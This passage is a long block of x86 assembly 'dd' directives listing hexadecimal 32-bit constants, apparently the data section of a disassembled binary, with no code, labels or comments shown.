		dd 0C804D6DAh, 4AB30607h, 696E9F46h, 5D0868E9h,	8F048891h
		dd 6A8D7094h, 0E07A441Bh, 1469BAAEh, 0BC13767Ch, 0C9F65673h
		dd 1C68D6BEh, 0EFC0697Dh, 4E34A7DBh, 51C5823Bh,	85F8437Bh
		dd 4BB6D324h, 6912F012h, 89C0E0A0h, 0C6B3BF21h,	635EE01h
		dd 0B9A631E0h, 8AB9D33Ch, 0A92FD8D8h, 0BD6E737Ch, 5C5CE319h
		dd 83B2F6F0h, 0A9DA7947h, 0EDA615F6h, 98B13097h, 0BC0485D0h
		dd 0D8223669h, 0C12497F4h, 0F0177757h, 185585C3h, 0D9F39FAh
		dd 0E0ED493Ah, 818CE1AFh, 0E8660BB8h, 92FC4FD4h, 0AAD78A08h
		dd 0CD7152ECh, 0A9743015h, 0FA6CF03Eh, 55A0F66Ch, 0FAEDA6Eh
		dd 0B32FAD2Eh, 0F4425540h, 0EBEBAB2Fh, 0C8193D04h, 3635C177h
		dd 15DB184Ch, 816E5339h, 0E7B556BDh, 4AAB257Ch,	0A04D5575h
		dd 5F4DA949h, 0A2337164h, 0DE46FA85h, 78BA3901h, 2A564D58h
		dd 0D1F51745h, 0ED057B47h, 0AD11B7DBh, 25D67133h, 0A3287970h
		dd 46848DBEh, 0D43D52EDh, 0EAF197E0h, 0B4ECE7FEh, 340BE00Ah
		dd 0F6E881EEh, 302403F6h, 298E2FDDh, 7B4E819Ah,	0B677B3F6h
		dd 3393DC4Dh, 0DDE14842h, 630ED359h, 5D7861E5h,	44BCAB1Fh
		dd 20F5F8C9h, 0B59DC02Bh, 0F229AAF9h, 2A12BC5Bh, 694F7CCBh
		dd 0A7953346h, 0FDEBA6AAh, 544BD54Bh, 0A333CDD6h, 0DB154ABDh
		dd 39270DECh, 0B5CF0AADh, 7B306105h, 61FB7E5Eh,	328514F5h
		dd 5A2489E6h, 25C136ABh, 0C855731Eh, 172FDD3Ah,	4577265Bh
		dd 0F09BE6F9h, 0B9FBE0E1h
		dd 0B34CF28Ah, 434B5A20h, 0E87AD551h, 36B11DD4h, 9E0DDA80h
		dd 0D5902813h, 728BA5FAh, 0EF17B447h, 0E0791337h, 0F55A87EFh
		dd 8771714Fh, 2730645Fh, 0BC5CAC75h, 7FD733B5h,	1E1A245Bh
		dd 72292E0Fh, 2F4FA1C2h, 557AD68Bh, 74A9E930h, 422ED724h
		dd 0AE2472Ch, 0FA2A96C9h, 769155D1h, 4143E807h,	4A492C55h
		dd 0A585AD56h, 4C13730Ah, 94E8849Dh, 56B41B1Ah,	65C0AE17h
		dd 7EFEBC93h, 7FCD9389h, 530C1442h, 3050F814h, 95ADDE5Ch
		dd 4FBF27F8h, 3CD6157Ah, 81F954E8h, 0D5862A0Ah,	663AAAD6h
		dd 0A2AE36EFh, 3D8BEB6Ah, 0A3006CBDh, 89E18416h, 0D531A17Dh
		dd 0F802296Ch, 405579EDh, 0BFDE96B1h, 0BA43D889h, 3931FE1Ah
		dd 0BD7A75A2h, 33C15341h, 4716887Eh, 79B19E77h,	0E86DED70h
		dd 50FC581Bh, 0B4E56F7Ah, 31C15E06h, 0D1E944B1h, 0E47824A6h
		dd 4AC8B9DAh, 1F31C53Ch, 0D3873466h, 0CEE05A13h, 18BDE03Bh
		dd 33F3D003h, 390FD2BEh, 0D63EBD57h, 61DE59C7h,	0A2ACDE35h
		dd 74B0376Fh, 7FCCBD5Ch, 63FFC15h, 7E7A04Ch, 7114D9E6h
		dd 738E15A3h, 6CA3943Ch, 0E34C7F76h, 20B609C9h,	7CDDFD4Eh
		dd 0BEC06766h, 6EA5B4D7h, 0ABA95F95h, 0EF106F3Ch, 0F6FB385Ah
		dd 8F0BA749h, 0F8F0E294h, 5AE56772h, 47C2D095h,	8D571D7Bh
		dd 0C257E6D7h, 35EE52C4h, 0A661AC78h, 0C47EB21Ch, 0F45E898Dh
		dd 89242845h, 0BE872972h, 1DAE27FDh, 0F8512A90h, 0C2D4DCACh
		dd 4DD86B6Dh, 0D549CC73h, 0F3487CF0h, 0EE4A8057h, 4A354BCBh
		dd 0F3BEF939h, 0CB47DC4Ah, 71D6CCADh, 7AA1659h,	0C4B93Ch
		dd 0F93B9DFDh, 6E814CA8h, 1E2B5A16h, 42A4C892h,	2055A63Bh
		dd 0CA6DD67Fh, 81402756h, 0D529244Fh, 0D6E55558h, 0E83D132Dh
		dd 0B3FFE0ABh, 89701A2Fh, 9E1F14A5h, 6922B13Dh,	8F5E3729h
		dd 8FDA89BCh, 0A5881E11h, 0D85735FBh, 0DABD1B09h, 7F7E97D2h
		dd 0B218539Bh, 8B588D7Dh, 958B97ABh, 58761F8Dh,	6848D7C1h
		dd 5E6BDFCBh, 29EF6EBBh, 0D9E2CB6Dh, 371324B3h,	896FE6E8h
		dd 0E05D250Ah, 0C2F28699h, 0B6386FCEh, 6B869E23h, 4C13BF55h
		dd 6110D1C4h, 65197F98h, 9C7D875Ch, 0DF618169h,	3EC8C107h
		dd 0AA40852h, 0F3401FAFh, 7AE4DA4Bh, 36ECC257h,	91C4F54h
		dd 6BD9149Eh, 1E173F09h, 93652F12h, 762C16E2h, 93A38748h
		dd 0E465A814h, 2BEE6078h, 0B936DDCDh, 0BF4B3158h, 5DF23356h
		dd 3CEC19D0h, 4914E3B0h, 0CD62FF9Fh, 15706DF3h,	11A1C36Ah
		dd 0E4410794h, 5A976ED7h, 0D724F72Ch, 887081F7h, 0D4CE5BBFh
		dd 0D82F4B72h, 0FC515A58h, 0A5A36EC2h, 0DCFDDE8Dh, 65510BF4h
		dd 0D09B9C53h, 0BE0A0D25h, 0FABEBEB9h, 2EFDC68Ah, 0C2865BDEh
		dd 1CB26B83h, 0C6F2B755h, 4649659Ah, 0E07C6FC1h, 0FB05D187h
		dd 106B1C7h, 51C41642h,	6BF8DE7h, 5D68EC69h, 0D4B8C158h
		dd 0EF574C9h, 0DB4426E1h, 25F4310Fh, 36CBA17Ch,	0DF4C8A01h
		dd 93833AC1h, 69A4C3C2h, 5C7CF452h, 3E729225h, 5873C8DFh
		dd 522AB88Fh, 968ECD2Ah, 4A362B2Fh, 6E7BF3BEh, 0A94FCFF8h
		dd 0C464E05Eh, 0A190C4E9h, 94F6118Fh, 51990C9Dh, 77C143F0h
		dd 9624D384h, 0D197A3E3h, 0C36DA7AAh, 38BD463Dh, 27E7F341h
		dd 45464A03h, 0B0335D5Dh, 0B944FE59h, 0DA1C8E6Ch, 0B68E3E9h
		dd 6ABCE520h, 397A0AFFh, 0D4ED1E7Ch, 6FB93EADh,	0BC7219E8h
		dd 0A8B65CE7h, 83B8178Fh, 0F68CE2A3h, 6F2B59AAh, 3FD9077Ah
		dd 0CA871418h, 1A89F85Bh, 0CCF241AEh, 0CDC95702h, 4330DAEDh
		dd 0AC2728CDh, 58883E8Ch, 0D92A3507h, 0FDD0C116h, 6B50B329h
		dd 4A0EF8E6h, 9E5836F6h, 0CBE29062h, 0E3CB9816h, 90B7CB30h
		dd 66188955h, 0EDF4035Bh, 0D94C7F94h, 5B1DA1B4h, 96530FAAh
		dd 1C8DE474h, 2F9333Dh,	7E25A942h, 26B54717h, 0C85A98E6h
		dd 0E4C15702h, 7723A55Dh, 4AD82D51h, 5ABEAE17h,	38243585h
		dd 43B3A7C5h, 0B60EA0A0h, 0DB3CF503h, 0E570C296h, 16B487FBh
		dd 0B667D49h, 98BB6AF4h, 4A6F25A7h, 2B5DDEC1h, 1BD5505Bh
		dd 0ED9C5502h, 70E06D54h, 0CCC03EBDh, 0A04A81C0h, 3BF35603h
		dd 348A2FEEh, 2E73ED6Bh, 6026A9ECh, 8EE85DECh, 7DEACFFEh
		dd 0E182E8D9h, 0B3DD8127h, 8ED1ED92h, 0A2241A9Eh, 4B70B91Dh
		dd 0E8BB6B0Dh, 9D25B4CAh, 3374BBA5h, 0F2CB520Ch, 684AEFAEh
		dd 15C2A94h, 0D12737E2h, 0D285DD32h, 9F1A196h, 0D08507A3h
		dd 9178E178h, 13FB214Ah, 224597EEh, 0E7F0CF55h,	267501D3h
		dd 0E62E034Eh, 0BD28458Ch, 0D77DF198h, 97ED40C6h, 0B37573E0h
		dd 0C8B258A1h, 0CD963C53h, 0B8D7A602h, 4B7A5C13h, 354ACE39h
		dd 3B98471Eh, 45FAAB5Ah, 0C8BAA319h, 0D978FC5Eh, 0AEB4BEB5h
		dd 34AD5606h, 6CBB8979h, 73C5A51h, 0F37761Ch, 0FCCEF03Ch
		dd 569E07E8h, 0A3C0ADF5h, 87EDBBB8h, 0D1EDA15Eh, 0F8438216h
		dd 2035E1AAh, 55F1797Ch, 218CAEC5h, 3C1C7FD0h, 3BC3D7B0h
		dd 0A809F522h, 5C0F75B0h, 332F1445h, 0C6C54AA5h, 758676C5h
		dd 7B35F7FFh, 176A284Dh, 84736954h, 0AA958A55h,	1F617EF0h
		dd 39553128h, 0CBBA5D43h, 1ED4AB8Ch, 1D2F799Ch,	46EDDE21h
		dd 0C257F1A9h, 0CE574780h, 2A369233h, 0FD00FB57h, 0EA828993h
		dd 5D45D798h, 5B718409h, 0D209A657h, 0E9D30E50h, 0BEE55EF4h
		dd 0D41F3968h, 0A5526834h, 6868C0F3h, 0FC563A1Eh, 817CB670h
		dd 0D1E92FF4h, 309C3C91h, 0BEB2D7h, 7765AAE2h, 50AE7F72h
		dd 0B459643Fh, 18DADA0Fh, 7AD599FDh, 0E285288Bh, 2F3A9CCh
		dd 7F2AA44Eh, 8E36F55Bh, 5B2C6EA7h, 1B91FE2Ah, 276FC43Fh
		dd 0FA337C71h, 4F6DC034h, 157D81F1h, 0A18732DEh, 0DC07560Ah
		dd 0BE427D7Fh, 0B7FB43C0h, 3237A36Ah, 0B0306EEBh, 0CD8F9EC1h
		dd 0BAE8FE9Bh, 45E280ECh, 0FFEB7BBAh, 1F2114D2h, 0C02D1F72h
		dd 0E4497BFEh, 0BC133172h, 0FBC945B2h, 7595A299h, 83525337h
		dd 6B65B3A9h, 7A7317DEh, 7D1AB48Eh, 2B3511CFh, 409C0C0Fh
		dd 2DD23CC0h, 7B61BBAEh, 0D673946Dh, 0EDAD346Bh, 3C93057Ah
		dd 0B15F4470h, 5DD78ECh, 83CFC7B4h, 3959AEF3h, 973A53F1h
		dd 444BE558h, 888AB0FBh, 0E063EB85h, 0D7FF1521h, 438E13C2h
		dd 79A797DAh, 7687C0DBh, 0AE331F75h, 5F9A6E82h,	130F2DA9h
		dd 3D0B4812h, 69D41BEFh, 5669F34Ah, 72D1823Ch, 0F5821DDBh
		dd 7851A54Eh, 4B1AD2F0h, 0CD17EB46h, 0AAAFBA97h, 429057ACh
		dd 438AB207h, 717E4CFAh, 4FB2D4C6h, 0B8E5405Ah,	85557E52h
		dd 452324B0h, 0ECB184C0h, 542DD174h, 0DAA03D4Ch, 86CCDF35h
		dd 768FD137h, 21E3A6A1h, 0BE715178h, 1B23EC97h,	21B6E491h
		dd 0B42D8645h, 0F9B1A57Dh, 0D9E42496h, 9538B46Dh, 0A1DD9B53h
		dd 0C54CAF85h, 4F62A311h, 0E1E81EACh, 3B14B35Bh, 9F005F67h
		dd 0DA30B9D6h, 0DBD556CEh, 1D307ED0h, 0F9014A1Ah, 2E73B2E5h
		dd 12BAB5F1h, 0C802FA4Ah, 8033A385h, 0AA06B58Dh, 17520E83h
		dd 4EB8A93h, 985832C1h,	557C22FEh, 99A5A2B5h, 76E639B9h
		dd 0A8420D51h, 255A22FEh, 0C5B1BF2Eh, 6A9F82DCh, 0AB705633h
		dd 0B8ED010h, 0CE8FFC1Eh, 0E4D5E8B2h, 3DB22024h, 45954482h
		dd 0B90B46F3h, 16FD62ABh, 927F044Eh, 0D13D1A97h, 74E08D12h
		dd 932EB1EFh, 50127B28h, 53E48573h, 0DA964BCDh,	0BD73DB99h
		dd 7FA6E30h, 1A7E7D55h,	1F8051F1h, 0D62D965Eh, 5166AD78h
		dd 0BCA16F8Dh, 5F833EDh, 0A7DF7378h, 2EADD8FEh,	6D7741C1h
		dd 3129E844h, 0DE6C4CFAh, 4DFDEF89h, 0A8C64C81h, 0A1CA2D8h
		dd 0F40CD443h, 181F9809h
		dd 73CF6762h, 0A95EC736h, 36D7CD3h, 0F6B057Bh, 9C07C66Ah
		dd 56B3E755h, 275A60Ah,	5139CCC9h, 4E85BCE0h, 495DF618h
		dd 15073659h, 36A53153h, 5C96157Ch, 0E600B443h,	5455906Fh
		dd 4EBB0B35h, 0DA97AF4Eh, 0B819072Ch, 78FED73h,	0E6A5797Fh
		dd 0E83E1CDDh, 6312B1EDh, 0F502DBACh, 55F06A4Ah, 943E36A3h
		dd 65663F7Bh, 0D6AB20ADh, 682EFCD5h, 2AE4239Fh,	9F8A9950h
		dd 13BD42F4h, 4F94BDA3h, 3FD956EDh, 2D4A41D7h, 0DFDADE82h
		dd 0CA61F944h, 0FC51EAF2h, 78CAA6D0h, 0FA9B677Eh, 0EB6D82A9h
		dd 0D77A0862h, 8F5F1918h, 72CFDEA1h, 3EBD126Ah,	356F7A12h
		dd 39E575DCh, 0ABFC3AFh, 0FC1E0332h, 1F4C4C2Bh,	4BE78AB5h
		dd 1AEAD411h, 2A93BAD1h, 396AFD23h, 69A445D6h, 0E225A534h
		dd 0BB4DD3F4h, 7FDDFC17h, 0CF9EFC75h, 0ADC8F8B9h, 0DE28B24Ch
		dd 0D44772F9h, 2C9A49Dh, 414B2BF2h, 321961Ch, 0A74AC40h
		dd 996A8842h, 0D7E81F03h, 0D3562625h, 0A4838E14h, 0D0C3FB17h
		dd 14FA928Dh, 0B6C2F52h, 468A6D30h, 0EE0EDCCBh,	0E472FD65h
		dd 960EA4h, 447674AEh, 4BCEAF2Eh, 2368385Dh, 0C108F141h
		dd 41F77A15h, 0D708DCC6h, 26DD3493h, 9AB65D03h,	0A73EBE4Eh
		dd 58FC3A7Eh, 0A9825C1Dh, 0C4EFDAAEh, 44789D3Ch, 3C3F9E09h
		dd 0E9B33E68h, 5B7A190Ah, 0A6895922h, 0DD2A5F43h, 1BA82E18h
		dd 2B9AC3Fh, 0CC2EF001h, 7125E601h, 0D3840EAFh,	235F5296h
		dd 95084ED0h, 0C577EF31h, 3EF0B287h, 0F1C723EFh, 27EA4A39h
		dd 0F338D809h, 0A27136DDh, 6631EBD2h, 0C27B81F5h, 963B7B05h
		dd 7C1E1F3Ah, 81A25451h, 0A4C275F0h, 0B6BA3CC0h, 8BF6BA32h
		dd 7775C46h, 4A3B99F0h,	0A6FCA718h, 1C393878h, 6B557D37h
		dd 4B46B436h, 0D7A15478h, 0C63FC385h, 2AC4D6C1h, 2750F3B5h
		dd 8C44566Eh, 175A2568h, 1F4A74DAh, 7439E93Eh, 99FFF75h
		dd 0A03AB2F7h, 0F8375F0Eh, 25EF54B7h, 61F7A880h, 0D4EFDEDFh
		dd 6E29BD00h, 0FE0129F5h, 4E7B99C0h, 111532B8h,	0B8318F8Bh
		dd 0EE862D93h, 0E15A4FE4h, 0B41BF53Dh, 0BDAAA79Ch, 0EFAA8F62h
		dd 0DDAC4DE7h, 6214A059h, 0F0A4B573h, 817E7B0Dh, 0B1CF1F8Ch
		dd 0B0B4FD93h, 264C7E7Bh, 8BDE987Eh, 369FFB74h,	0B98FD2FFh
		dd 13C28FDBh, 0B2A5D4CAh, 0E264D73Bh, 5890299Dh, 0F264322Bh
		dd 2D7FFC14h, 0EAEBFADBh, 0F9855524h, 0BFC2A7E9h, 0CA82023Fh
		dd 48F20F90h, 0C995BFC5h, 750E54D8h, 0EC4FA001h, 17F23896h
		dd 7E65B8C7h, 5EE2F5A5h, 5E12998Dh, 1A8A23CAh, 0FE93359Bh
		dd 5A259F86h, 1912CBC8h, 0C4C15587h, 0A58A354Dh, 2A967E8Bh
		dd 0E7DA686Eh, 0F07B1D12h, 1FCD3F90h, 4CC0ADE2h, 0F1970209h
		dd 0ECC214FBh, 0CD7C643Ch, 0A5A54123h, 0ACB2C8F1h, 7FB4CA59h
		dd 0F9CD09E1h, 0B07D9B43h, 4573A187h, 0D84836A8h, 33B8BA4Bh
		dd 0FCDCE5E2h, 294F2C81h, 884414B0h, 0B835270Dh, 3E8AE56Eh
		dd 0D2F78FECh, 0B39EAD30h, 88E09A5Bh, 0AE07E092h, 73F7F39h
		dd 8A569678h, 29423890h, 13B2A039h, 0D7BDD00Dh,	0D094AF84h
		dd 0A5EF59Bh, 0C8EA51C5h, 7A9CBBCCh, 0B2CE8AD9h, 0CA160A4Dh
		dd 23E10533h, 74D51FEBh, 1F833D0Fh, 0DD52C472h,	3BE8EF0h
		dd 0E275FD4Ah, 83417CDFh, 0FC365112h, 0E1573B0h, 0DB059796h
		dd 0B9982DC7h, 1F3801E7h, 0D3428A0Ah, 0A9DA244Dh, 0FF672B41h
		dd 81F93957h, 36EA2EB7h, 1E97EC62h, 0BA2D017Eh,	0AD1805BFh
		dd 0F220597Eh, 5ADAEB24h, 6A1EE229h, 0D7125DA2h, 1039CCCh
		dd 0FD762AA5h, 0A946BC43h, 16E288A2h, 0B96EDE49h, 8B3DB56Eh
		dd 0E2756A56h, 12992F5Fh, 0B9AA8503h, 69A28F74h, 0A34DE4E6h
		dd 0EA3B57E9h, 4B54407Dh, 6AFF7E56h, 4C1454CEh,	77D40977h
		dd 65C687E0h, 60FA96A6h, 4B1CC017h, 0E8C1F6A2h,	820118BAh
		dd 7DB07974h, 57BA03F6h, 7823E5FEh, 54E28F03h, 95C31CDAh
		dd 74C05C5Fh, 0FD5DC5FDh, 8B46123h, 8BE1220Eh, 0CABAFBEDh
		dd 0F0BADA2Eh, 0AF54827h, 9499AF50h, 5FEF8011h,	0B7EDD745h
		dd 80ACE262h, 878730A3h, 3D6DBB8Fh, 0F272FACh, 610A88BFh
		dd 2A43FBF5h, 1EDF0AACh, 0E23C3807h, 0F576949h,	0D057750Ch
		dd 2D183972h, 6D13DB8Ch, 0F08E1ECh, 132EC9C4h, 40C3FE42h
		dd 0A2697DDDh, 0DE6EE129h, 251E39CDh, 0DB69FDB2h, 14CAD2DDh
		dd 70BE8395h, 1FB9AC86h, 0D39BB92Fh, 0A1F1A1B2h, 22926DB2h
		dd 6782445Fh, 7AF60C1h,	3233D6DCh, 4725A6EAh, 0F6B870E6h
		dd 1072B835h, 44BCC455h, 247B31F0h, 53545697h, 0E0F4BBF9h
		dd 9A9CF41Eh, 366260ADh, 54EC09A8h, 6C542277h, 4B953BBFh
		dd 9C97A2CAh, 76B18C6Eh, 0C955DF8Dh, 0B4E1F03Bh, 48A57DEFh
		dd 5844D0AFh, 252C4BFDh, 0A934F696h, 36B90E11h,	541ED154h
		dd 0B82C6EDCh, 54E88602h, 0B9C37F0Dh, 0FCC2E9F5h, 8CE2EB76h
		dd 0BC56A442h, 0AB8E2A76h, 8C398ECAh, 21428963h, 0B8A51B2Fh
		dd 0A51F1BFBh, 895F84A6h, 8F2277CBh, 35BC4E93h,	0CB45A0E9h
		dd 740E12F0h, 3F0B22FDh, 0AAB5BA3Ch, 2940D2EDh,	0C5465ECh
		dd 0BDE49229h, 2A10846Fh, 0FCF9C0FEh, 98983AB2h, 3DF757E3h
		dd 32F413F4h, 0D57485DAh, 5ADE2F86h, 0C4EF46C3h, 5D4EB633h
		dd 3F802790h, 0CBAB15D7h, 83A89DA7h, 3EABAACDh,	0A83BFADEh
		dd 11BD4C9Ah, 0FDE0CB69h, 0FF22516h, 37E9789Dh,	55FDDE25h
		dd 0C2B8662Bh, 3700024Fh, 0DDC1FEC2h, 2D1CBF1Eh, 0ABE4A8E7h
		dd 0AEE05FFDh, 553FE37Ch, 530C547Fh, 77FCA319h,	578AF3E8h
		dd 0BDACCEBh, 2DEB6293h, 6FDACFAh, 6AFB5645h, 0C578144Bh
		dd 0C58676D7h, 4E423284h, 0E57CA243h, 269CA368h, 2CE0A678h
		dd 38E44E58h, 0FF69F8EAh, 764118D2h, 4C30E282h,	0EBADC55Ah
		dd 43364135h, 0F45F8415h, 0DEE1F79Dh, 6893AC28h, 93FB72C0h
		dd 56214549h, 23FDD2B0h, 0F826F889h, 5C70D444h,	0C4C870DBh
		dd 0A0321017h, 0CF75B64Ah, 1D9476FAh, 0D5E0C141h, 9A505B7Bh
		dd 0D75B41FBh, 37E0F8C7h, 0D2A4D5AFh, 1FD715B5h, 9B507D58h
		dd 599B03CFh, 3A3360FCh, 0DDE174A6h, 197F0FC6h,	9C0F0FF8h
		dd 0BCD1BE58h, 7E20DF2Dh, 44BACF54h, 0B7A9EDB0h, 2B94B525h
		dd 81453CFDh, 0BF307176h, 0E82D7A69h, 0EA33AAC6h, 0FDDBACC6h
		dd 0EE343CFBh, 1CBC1D9Dh, 560605F9h, 0A711F7DEh, 249D195Ch
		dd 9675C66h, 39180A0Fh,	7A8FFCB4h, 5486DC4Ah, 0F3BFA4C3h
		dd 0C11107C1h, 4A73DAFCh, 0CFF441D8h, 1A7958B7h, 5D7EFE0h
		dd 0A33EA8FBh, 1FBC1D93h, 0A9B4A848h, 0F4B388F9h, 22B95C6h
		dd 0FD601C6Ah, 0F1E51A08h, 0EA4ACC73h, 7607F003h, 0B6E1975Dh
		dd 0E7574E0Dh, 2F73E1EFh, 0E0E86456h, 0A52D51A8h, 0A28F029Fh
		dd 7E11C1F0h, 0A7FEB8EEh, 0B87735A0h, 0DD5FCFEh, 5F5CFEBEh
		dd 0D5F30672h, 0A0B6879Ch, 0D5779654h, 0DD948FDh, 5704215Bh
		dd 0C37768B3h, 571E46D2h, 38DC14CEh, 67AEDE05h,	81C47AC0h
		dd 0F2D227EAh, 2CBF4BF8h, 0F47CAE97h, 780F0FABh, 58188B3Dh
		dd 7C0CF99Bh, 0BB75442Ah, 0FFDEEAF1h, 9972FB87h, 4B97DD8Eh
		dd 5CDB6281h, 4015585Eh, 0D2A2B8FCh, 0F9848EC8h, 2659CA57h
		dd 233FF070h, 0A293A819h, 681E8A9Dh, 0B8577CE2h, 0A12E33A0h
		dd 1DDDD1D9h, 0B230B639h, 21D48F5Dh, 2659731Dh,	0C9A7AA57h
		dd 0BFDE7726h, 0AECAE00Bh, 0B7EACAF2h, 0D4678782h, 3E1592EAh
		dd 0F39B36BBh, 0CC571543h, 0AD7EFC8Bh, 0B5AD4B9Eh, 6CC11D51h
		dd 7BC15168h, 0D8B5D720h, 0A4518450h, 15727151h, 4BD1D55Dh
		dd 0FBE237B7h, 13DF31E0h
		dd 1F870BBAh, 40A37F06h, 31F168E7h, 2AB41E30h, 7911748Eh
		dd 9C3BBB70h, 25FADB41h, 53AA8C69h, 62D3607Eh, 94920659h
		dd 0E1599593h, 7F49AA17h, 7EC7AF78h, 88DC6310h,	0B5AF4F09h
		dd 0A54CE25Fh, 4B9E950Dh, 0ADE5B497h, 0E1002FE8h, 343F761Ah
		dd 0BB48E6CCh, 0E3D7A53Dh, 38FA99D4h, 0E26FF83Ch, 0A86E87A5h
		dd 4CCBD0FBh, 0EF2E12A4h, 2BB6AEACh, 2829055h, 37EFBBE4h
		dd 0D67563DDh, 7A217563h, 0CD04C4A0h, 0AFB70F84h, 0F14DC700h
		dd 0FC460CF9h, 41CA230h, 7546478Ah, 8DD51E7Ch, 9BE0C307h
		dd 25D65452h, 6B9F1423h, 2F5C46E5h, 74AC74E6h, 71B2EEC5h
		dd 0AE9ACE0Ah, 1877735h, 47AE40CBh, 0B2AA8487h,	0AFF6AA06h
		dd 2F0ACF48h, 401E6279h, 0DE0FA149h, 42553D3h, 789FB616h
		dd 4D3FA195h, 0A87965B9h, 9E94D309h, 2BE93C08h,	0DEEBA1C8h
		dd 0E8137573h, 0B68C3B86h, 6984252Dh, 0DB5CFD1Dh, 0CC2FBF57h
		dd 58E29895h, 0A6E25A51h, 885BAA14h, 0E229D13Eh, 939E9400h
		dd 7712634Bh, 0D768AA2Dh, 5111CC29h, 1450F834h,	0D1C0B512h
		dd 57FBDF32h, 57C2B10Ah, 59E7E942h, 3256DF3Fh, 0E0BF54E1h
		dd 2FDB8D94h, 0C2C9ABE7h, 2B83FC40h, 46C701EAh,	603CF7AFh
		dd 0EE26675Ah, 0E9543E4Bh, 5AFF70D7h, 2CCC6E82h, 0B1010AD3h
		dd 0E8148F9Ch, 3ED637CDh, 0D0AF654Bh, 25D207D8h, 5AFA9FB6h
		dd 1F40F6E5h, 75B77E09h, 46AF2D7Fh, 2FC1B76Bh, 0C1A76F9Dh
		dd 53FCF0C2h, 6C7CFD94h, 3D2E4FFh, 0C6FCB53Bh, 0F23D19E4h
		dd 0AA0E5F83h, 0D6A69234h, 0BF64A5D7h, 0D52BC130h, 0C7352CC8h
		dd 537C4567h, 5CCE9736h, 0B6C8E1F8h, 47560547h,	6136E937h
		dd 928061Ah, 0E3A0D6FEh, 65E0AE07h, 114FD15Ah, 79244908h
		dd 0B9D21DEFh, 72AA7271h, 4E3C5B46h, 6D47B2ABh,	7DB7381Eh
		dd 1C1DC530h, 5C0F6B9Fh, 65A16B35h, 64B17E1h, 6A1E6581h
		dd 11AED675h, 0F4CFCE6Ah, 890E9D75h, 63DD4951h,	40D6D1E6h
		dd 5E14AFC1h, 0B83D043Ah, 0C0210EF5h, 113EC2Dh,	57D04EF0h
		dd 1468D7B9h, 6BB5E12Dh, 0DE2788h, 0A3575911h, 1DF744D1h
		dd 0EC93AE0Fh, 2E6B0389h, 0C9C3FDD7h, 42553120h, 0FED897F9h
		dd 0CEF2F17Ah, 56FE21F8h, 1E2FBC72h, 42DEFC6Bh,	0A3CBF6FEh
		dd 65BDAEB5h, 734D5153h, 78A6D493h, 0E962AEB6h,	3E8FF9F7h
		dd 3666AE38h, 651C3Bh, 54753138h, 199A8667h, 0C43542B9h
		dd 0A935AAC5h, 84344CA2h, 0DFA35F72h, 0E92D0A3Dh, 0EF5F769Fh
		dd 1958E3B0h, 0EF958BAFh, 0A75A4A52h, 8A7DE920h, 283737D0h
		dd 0ED15504Ah, 2EA9FCB2h, 15DC63E7h, 56681457h,	495C3EC5h
		dd 92B8A196h, 13FAE5DEh, 0CA94AA0Bh, 0A5F11576h, 56EAA3E0h
		dd 25207BBFh, 63DF4BAEh, 0D263D22Eh, 5AA46507h,	8AE2B801h
		dd 896C55B7h, 3E5CBBC4h, 0FD76C85Ah, 0B39A2935h, 2F37A523h
		dd 1B105650h, 0CB4EE774h, 36D85DA6h, 67C67DB9h,	0E902360Ah
		dd 0BC45AF34h, 3C5B3BE8h, 9DEE2F7Fh, 5963A998h,	0B6AAD878h
		dd 7D174FC0h, 3A6CF683h, 90B08A77h, 0BF5A9633h,	0B2CDEA7Fh
		dd 0F1E8581Ah, 4DB722B5h, 6135AD37h, 453E768Bh,	0D36303DAh
		dd 378359E0h, 0AADEFA98h, 5060A6Dh, 318BFFC1h, 0C1C42F87h
		dd 0F4608955h, 0F751DF61h, 0D6606275h, 0EBD7DFBCh, 88F4612Fh
		dd 3E4F3B98h, 0BDD2A114h, 4462D137h, 0C7A986F1h, 0E5B43194h
		dd 24B9F87Fh, 9C6FB991h, 18B7F3C3h, 31349349h, 28AD74BCh
		dd 6D935578h, 771F5637h, 7BA5772h, 71062359h, 5463DE27h
		dd 16A5FEFBh, 8A4C340Eh, 6B4562C2h, 0E291B215h,	46DA9ED9h
		dd 0AFA1AB86h, 4EF9759Bh, 23983682h, 48FAC0C3h,	67F70E30h
		dd 54BF10EBh, 39A8570Ch, 912A440Bh, 3FCEC378h, 0CFC4F213h
		dd 0ADD307EBh, 32209484h, 787E5716h, 0D6BAC960h, 0DFC51D2Fh
		dd 0EFEAA97Ch, 0B4F3D3E6h, 455A5B64h, 0FB052099h, 4B51A3B5h
		dd 0BF47195Bh, 40B6C0F8h, 9DD10FF2h, 330C2570h,	7F2E5DC8h
		dd 0F2E0A3F6h, 0BEB2C121h, 2DBCA27Fh, 0D0FFF68Eh, 49DB8CCh
		dd 0C2721A34h, 194ACA94h, 79EA592h, 3D222FC2h, 0E812D3E5h
		dd 7BBEDB62h, 57480B45h, 30D2E01Ah, 8FEEABF9h, 6466CEBEh
		dd 0FF07ED8Ah, 1A4B3478h, 0D9098508h, 94BAEE66h, 90430C9Fh
		dd 6DC61F87h, 38541641h, 175341F8h, 0B7F93068h,	302D03C8h
		dd 0F83EA655h, 10C2CB41h, 8A6458C8h, 487CEE36h,	0F6C807B3h
		dd 1F363027h, 5499BDF4h, 0B1F4D528h, 183B2DAEh,	8D59721h
		dd 3E55C7D2h, 0DA5CC424h, 0A2794700h, 16335ECDh, 86A4A468h
		dd 5F8B2554h, 5E54005Dh, 7263CAD5h, 624A0A35h, 7DED5D56h
		dd 0A15D66CDh, 0EF0DEE61h, 24340D8Ah, 4406D5E1h, 89565955h
		dd 0A79AA9AEh, 43F073DCh, 22CA2946h, 4CCC16AEh,	117D31EDh
		dd 96C0F660h, 53BF1670h, 5A93FC2Ah, 4C1CCC89h, 0BBD0A47Bh
		dd 0A8CBF638h, 314A8985h, 1F82DD1Eh, 0FC55CC7Eh, 0DDF11675h
		dd 0CE06A0AEh, 52797790h, 0D02A9FFDh, 0D92B92B4h, 44A7F9C3h
		dd 0CA6D7F37h, 0F4A641CFh, 838C2A13h, 66D51B15h, 0ABE3D65h
		dd 0F24D3C16h, 0B7352FF6h, 4EA66EA4h, 34BBA9F3h, 0B1815D8Eh
		dd 73A3196Ch, 2AC685F1h, 0B4A02372h, 7721E203h,	0BA225D07h
		dd 0EE7A3904h, 0C051BEC2h, 5BCD67E3h, 0B3D5F2A8h, 0EE2F272Ah
		dd 0B47D26CFh, 72D17ACAh, 0A864FD8Dh, 6E2652BFh, 5A31DEBDh
		dd 168C0B0Ch, 0AEAE1472h, 76E6E9EEh, 82427A4Fh,	52B25E5Dh
		dd 0FB8F5AC2h, 151FFEF3h, 2A3562D7h, 0EE74AAEBh, 8550A236h
